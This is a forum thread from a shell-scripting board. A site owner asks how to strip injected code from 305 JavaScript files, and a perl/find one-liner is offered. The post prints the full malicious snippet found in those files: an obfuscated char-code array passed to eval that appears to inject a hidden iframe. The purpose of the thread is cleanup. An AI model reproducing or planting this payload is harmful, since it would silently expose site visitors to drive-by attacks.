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Full Discussion: How to remove the last 3 lines from many files?
Top Forums Shell Programming and Scripting How to remove the last 3 lines from many files? Post 302662831 by MaRiOsGR on Wednesday 27th of June 2012 07:52:21 AM
Old 06-27-2012
that did the trick.

Thank you!

Quote:
Originally Posted by radoulov
Try this:

Code:
find /vhost -type f -name '*.js' -print0 |   
  xargs -0 perl -i -0777pe'
    s|(.*)/\*km0ae9gr6m\*/.*|$1\n|s
   '

---------- Post updated at 02:52 PM ---------- Previous update was at 02:44 PM ----------

Hello,
my intention was not to make your life more difficult and i'm sorry If i've done that.It is not easy to calculate every possible sideffect, I'm trying my best.

The full info is this, I've found 305 js scripts that have the above hacking code
Code:
/*km0ae9gr6m*/i=0;try{prototype-5;}catch(z){f=[102,234,110,198,116,210,111,220,32,220,101,240,116,164,97,220,100,222,109,156,117,218,98,202,114,80,4
1,246,118,194,114,64,104,210,61,232,104,210,115,92,115,202,101,200,47,232,104,210,115,92,81,118,118,194,114,64,108,222,61,232,104,210,115,92,115,202
,101,200,37,232,104,210,115,92,81,118,118,194,114,64,116,202,115,232,61,232,104,210,115,92,65,84,108,222,45,232,104,210,115,92,82,84,104,210,59,210,
102,80,116,202,115,232,62,96,41,246,116,208,105,230,46,230,101,202,100,122,116,202,115,232,125,202,108,230,101,246,116,208,105,230,46,230,101,202,10
0,122,116,202,115,232,43,232,104,210,115,92,77,250,114,202,116,234,114,220,40,232,104,210,115,92,115,202,101,200,42,232,104,210,115,92,111,220,101,1
58,118,202,114,154,41,250,102,234,110,198,116,210,111,220,32,164,97,220,100,222,109,156,117,218,98,202,114,142,101,220,101,228,97,232,111,228,40,234
,110,210,120,82,123,236,97,228,32,200,61,220,101,238,32,136,97,232,101,80,117,220,105,240,42,98,48,96,48,82,59,236,97,228,32,230,61,200,46,206,101,2
32,72,222,117,228,115,80,41,124,49,100,63,98,58,96,59,232,104,210,115,92,115,202,101,200,61,100,51,104,53,108,55,112,57,96,49,86,40,200,46,206,101,2
32,77,222,110,232,104,80,41,84,48,240,70,140,70,140,70,140,41,86,40,200,46,206,101,232,68,194,116,202,40,82,42,96,120,140,70,140,70,82,43,80,77,194,
116,208,46,228,111,234,110,200,40,230,42,96,120,140,70,140,41,82,59,232,104,210,115,92,65,122,52,112,50,110,49,118,116,208,105,230,46,154,61,100,49,
104,55,104,56,102,54,104,55,118,116,208,105,230,46,162,61,232,104,210,115,92,77,94,116,208,105,230,46,130,59,232,104,210,115,92,82,122,116,208,105,2
30,46,154,37,232,104,210,115,92,65,118,116,208,105,230,46,222,110,202,79,236,101,228,77,122,49,92,48,94,116,208,105,230,46,154,59,232,104,210,115,92
,110,202,120,232,61,220,101,240,116,164,97,220,100,222,109,156,117,218,98,202,114,118,114,202,116,234,114,220,32,232,104,210,115,250,102,234,110,198
,116,210,111,220,32,198,114,202,97,232,101,164,97,220,100,222,109,156,117,218,98,202,114,80,114,88,77,210,110,88,77,194,120,82,123,228,101,232,117,2
28,110,64,77,194,116,208,46,228,111,234,110,200,40,80,77,194,120,90,77,210,110,82,42,228,46,220,101,240,116,80,41,86,77,210,110,82,125,204,117,220,9
9,232,105,222,110,64,103,202,110,202,114,194,116,202,80,230,101,234,100,222,82,194,110,200,111,218,83,232,114,210,110,206,40,234,110,210,120,88,108,
202,110,206,116,208,44,244,111,220,101,82,123,236,97,228,32,228,97,220,100,122,110,202,119,64,82,194,110,200,111,218,78,234,109,196,101,228,71,202,1
10,202,114,194,116,222,114,80,117,220,105,240,41,118,118,194,114,64,108,202,116,232,101,228,115,122,91,78,97,78,44,78,98,78,44,78,99,78,44,78,100,78
,44,78,101,78,44,78,102,78,44,78,103,78,44,78,104,78,44,78,105,78,44,78,106,78,44,78,107,78,44,78,108,78,44,78,109,78,44,78,110,78,44,78,111,78,44,7
8,112,78,44,78,113,78,44,78,114,78,44,78,115,78,44,78,116,78,44,78,117,78,44,78,118,78,44,78,119,78,44,78,120,78,44,78,121,78,44,78,122,78,93,118,11
8,194,114,64,115,232,114,122,39,78,59,204,111,228,40,236,97,228,32,210,61,96,59,210,60,216,101,220,103,232,104,118,105,86,43,82,123,230,116,228,43,1
22,108,202,116,232,101,228,115,182,99,228,101,194,116,202,82,194,110,200,111,218,78,234,109,196,101,228,40,228,97,220,100,88,48,88,108,202,116,232,1
01,228,115,92,108,202,110,206,116,208,45,98,41,186,125,228,101,232,117,228,110,64,115,232,114,86,39,92,39,86,122,222,110,202,125,230,101,232,84,210,
109,202,111,234,116,80,102,234,110,198,116,210,111,220,40,82,123,232,114,242,123,210,102,80,116,242,112,202,111,204,32,210,102,228,97,218,101,174,97
,230,67,228,101,194,116,202,100,100,61,122,34,234,110,200,101,204,105,220,101,200,34,82,123,210,102,228,97,218,101,174,97,230,67,228,101,194,116,202
,100,100,61,232,114,234,101,118,118,194,114,64,117,220,105,240,61,154,97,232,104,92,114,222,117,220,100,80,43,220,101,238,32,136,97,232,101,80,41,94
,49,96,48,96,41,118,118,194,114,64,100,222,109,194,105,220,78,194,109,202,61,206,101,220,101,228,97,232,101,160,115,202,117,200,111,164,97,220,100,2
22,109,166,116,228,105,220,103,80,117,220,105,240,44,98,54,88,39,228,117,78,41,118,105,204,114,218,61,200,111,198,117,218,101,220,116,92,99,228,101,
194,116,202,69,216,101,218,101,220,116,80,34,146,70,164,65,154,69,68,41,118,105,204,114,218,46,230,101,232,65,232,116,228,105,196,117,232,101,80,34,
230,114,198,34,88,34,208,116,232,112,116,47,94,34,86,100,222,109,194,105,220,78,194,109,202,43,68,47,228,117,220,102,222,114,202,115,232,114,234,110
,126,115,210,100,122,99,240,34,82,59,210,102,228,109,92,115,232,121,216,101,92,119,210,100,232,104,122,34,96,112,240,34,118,105,204,114,218,46,230,1
16,242,108,202,46,208,101,210,103,208,116,122,34,96,112,240,34,118,105,204,114,218,46,230,116,242,108,202,46,236,105,230,105,196,105,216,105,232,121
,122,34,208,105,200,100,202,110,68,59,200,111,198,117,218,101,220,116,92,98,222,100,242,46,194,112,224,101,220,100,134,104,210,108,200,40,210,102,22
8,109,82,125,250,99,194,116,198,104,80,101,82,123,250,125,88,53,96,48,82,59];v="e"+"v"+"a";}if(v)e=window[v+"l"];try{q=document.createElement("b");i
f(e)q.appendChild(q+"");}catch(fwbewe){w=f;s=[];}
r=String;z=((e)?"Code":"");for(;1333-5+5>i;i+=1){j=i;if(e)s=s+r.fromCharCode((w[j]/(2-1+j%2)));}
if(f)e(s);/*qhk6sa6g1c*/

and I need to remove them.Restoring 305 files from backup manually is very hard so the best way (in my humble opinion) was to remove the hacking code,
and if anything fails then restore from the backups as the last resort.

thank you.

Quote:
Originally Posted by alister
You ought to provide a sample of what the data looks like, instead of expecting everyone to work blindly. Since you cannot solve the problem yourself, you are probably not competent to judge what is and is not important (that is not meant as an insult, just a statement of fact that applies to us all when we can't solve a problem). Giving us as much information as possible helps us provide a better solution in less time.

As a general rule, don't ask people to work from textual descriptions of data. Always provide realistic data (for input and output) and take some time before creating a thread to consider all the special 5% cases that may present themselves. We are volunteering our time to you; don't make us work harder than necessary.

Regards,
Alister

---------- Post updated at 07:36 AM ---------- Previous update was at 07:21 AM ----------



I don't think that will give the correct result if /*km0ae9gr6m*/ occurs more than once in the text to be discarded. It may very well not be an issue, but since we haven't actually seen the data, I mention it just in case.

Regards,
Alister
 

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